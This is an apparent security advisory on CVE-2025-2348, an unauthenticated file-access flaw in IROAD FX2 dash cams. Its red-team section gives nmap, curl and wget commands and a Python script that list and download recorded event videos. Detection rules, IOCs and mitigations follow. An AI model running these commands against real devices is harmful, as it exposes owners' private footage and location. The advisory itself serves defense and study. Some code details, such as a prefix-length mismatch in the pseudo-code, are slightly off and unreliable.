CVE-2025-2348

Executive Summary

CVE-2025-2348 is a problematic information disclosure vulnerability affecting the IROAD Dash Cam FX2 firmware up to version 20250308. The flaw resides in the HTTP/RTSP service handling of the /mnt/extsd/event/ file path, which allows an unauthenticated attacker on the local network to access recorded event files (e.g., motion detection, impact events) stored on the device's external SD card. This exposure can leak sensitive video footage, potentially revealing vehicle location, driver habits, or surrounding environments. The vulnerability has a public proof-of-concept (PoC) and no known patch as of the advisory date. The attack vector is local network (AV:A), requiring no authentication or user interaction, making it a significant privacy risk for affected dash cam owners.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Adjacent Network (local network access required)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High (full access to recorded event files)
• Integrity (I): None
• Availability (A): None
• Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit details and the lack of a patch elevate the real-world risk for users on shared or compromised local networks.

Deep Dive & Mechanics

The vulnerability is a classic case of insufficient access control on a network-accessible file system path. The IROAD Dash Cam FX2 exposes an HTTP/RTSP service that serves files from the external SD card mounted at /mnt/extsd/. The /mnt/extsd/event/ directory contains video clips triggered by events (e.g., sudden braking, impact, motion detection). The service does not enforce authentication or authorization checks before serving these files.

Attack Flow:

1. An attacker gains access to the same local network as the dash cam (e.g., via Wi-Fi, Ethernet, or compromised IoT device).
2. The attacker scans for the dash cam's IP address (often using default IP ranges or mDNS/Bonjour discovery).
3. The attacker sends an HTTP GET request to http://<dashcam_ip>/mnt/extsd/event/ or enumerates subdirectories/files.
4. The dash cam responds with a directory listing or directly serves the video files without any authentication.
5. The attacker downloads the event video files, gaining unauthorized access to sensitive footage.

The root cause is the lack of authentication middleware on the HTTP/RTSP file server. The device likely uses a lightweight embedded web server (e.g., lighttpd, busybox httpd) configured to serve the entire SD card contents without access controls.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical secure implementation is provided.

Vulnerable Configuration (IROAD Dash Cam FX2 firmware <= 20250308):

// Example of vulnerable HTTP server configuration (pseudo-code)
void handle_request(http_request *req) {
    if (strncmp(req->path, "/mnt/extsd/", 10) == 0) {
        // No authentication check
        serve_file(req->path);
    }
}

Patched Configuration (Hypothetical):

// Example of patched HTTP server configuration (pseudo-code)
void handle_request(http_request *req) {
    if (strncmp(req->path, "/mnt/extsd/", 10) == 0) {
        if (!is_authenticated(req)) {
            send_401_unauthorized();
            return;
        }
        serve_file(req->path);
    }
}

The patch would require implementing authentication (e.g., HTTP Basic Auth, token-based) for all requests to the /mnt/extsd/ path. Additionally, directory listing should be disabled.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• IROAD Dash Cam FX2 on the same local network.
• Attacker machine with network access (e.g., Kali Linux, Python3).

Exploitation Steps:

1. Discover the dash cam IP:

   nmap -sn 192.168.1.0/24 | grep -i "iroad\|dashcam"
   

   Or use arp-scan:

   sudo arp-scan --localnet | grep -i "iroad"
   

2. Enumerate the event directory:

   curl http://192.168.1.100/mnt/extsd/event/
   

   If directory listing is enabled, you will see a list of event files (e.g., event_20250308_120000.mp4).

3. Download specific event files:

   wget -r http://192.168.1.100/mnt/extsd/event/
   

   Or download a single file:

   curl -O http://192.168.1.100/mnt/extsd/event/event_20250308_120000.mp4
   

4. Automated exploitation script (Python):

   import requests
   import sys
   
   def exploit(target_ip):
       base_url = f"http://{target_ip}/mnt/extsd/event/"
       try:
           r = requests.get(base_url, timeout=5)
           if r.status_code == 200:
               print(f"[+] Directory listing accessible at {base_url}")
               # Parse and download files (simplified)
               for line in r.text.split('\n'):
                   if '.mp4' in line:
                       file_url = base_url + line.strip()
                       print(f"[+] Downloading {file_url}")
                       # Add download logic here
           else:
               print(f"[-] HTTP {r.status_code} - Access denied or not found")
       except Exception as e:
           print(f"[-] Error: {e}")
   
   if __name__ == "__main__":
       if len(sys.argv) != 2:
           print("Usage: python exploit.py <target_ip>")
           sys.exit(1)
       exploit(sys.argv[1])
   

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP GET requests to /mnt/extsd/event/ from unknown IPs.
• Alert on multiple file downloads from the dash cam IP within a short time window.
• Use network segmentation to isolate dash cams from untrusted devices.

Hardening (until patch is available):

1. Disable HTTP/RTSP access: If the device allows, disable the web interface or restrict it to HTTPS with authentication.
2. Network segmentation: Place the dash cam on a separate VLAN with strict firewall rules.
3. Change default credentials: If the device supports it, set a strong password for the web interface.
4. Monitor for unauthorized access: Use a network IDS/IPS to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /mnt/extsd/event/ or /mnt/extsd/ from non-admin IPs.
  • Multiple sequential HTTP requests to the dash cam IP from a single external IP.
  • Directory listing responses containing .mp4 or .ts file names from the dash cam.

• File IOCs:

  • Event video files (e.g., event_*.mp4) downloaded from the dash cam.
  • Logs showing access to /mnt/extsd/event/ without prior authentication.

• Behavioral IOCs:

  • Unusual network scanning activity targeting port 80 or 554 (RTSP) on dash cam IPs.
  • Sudden increase in outbound traffic from the dash cam to an external IP (if attacker exfiltrates files).

Detection Engineering

YARA Rule

rule CVE_2025_2348_IROAD_Dashcam_InfoDisclosure {
    meta:
        description = "Detects HTTP requests targeting IROAD Dash Cam FX2 event directory"
        author = "Valters IT"
        date = "2025-03-09"
        reference = "CVE-2025-2348"
        hash = "N/A"
    strings:
        $s1 = "/mnt/extsd/event/" ascii wide nocase
        $s2 = "GET /mnt/extsd" ascii wide nocase
        $s3 = "IROAD" ascii wide nocase
    condition:
        any of ($s1, $s2) or ($s3 and #s1 > 0)
}

Sigma Rule

title: IROAD Dash Cam FX2 Information Disclosure Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects HTTP GET requests to the vulnerable event directory on IROAD Dash Cam FX2
author: Valters IT
date: 2025-03-09
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/mnt/extsd/event/'
    condition: selection
falsepositives:
    - Legitimate administrative access (if authentication is enabled)
level: high
tags:
    - attack.t1213
    - cve.2025.2348

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2348 IROAD Dash Cam FX2 Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/mnt/extsd/event/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTTP/RTSP access if not required. If needed, restrict to HTTPS with strong authentication.
2. Network segmentation: Place the dash cam on a separate VLAN with strict ACLs.
3. Monitor logs for unauthorized access attempts to /mnt/extsd/event/.
4. Contact IROAD support for a firmware patch. If unavailable, consider replacing the device.

Long-term Fix:

• Vendor must release a firmware update that implements authentication for all file-serving endpoints.
• Disable directory listing by default.
• Implement rate limiting to prevent bulk downloads.

Workaround:

• Use a firewall to block external access to the dash cam's HTTP/RTSP ports (80, 554) from untrusted networks.
• Change the default IP address and subnet to avoid easy discovery.

Valters IT
DevSecOps & Cyber Threat Intelligence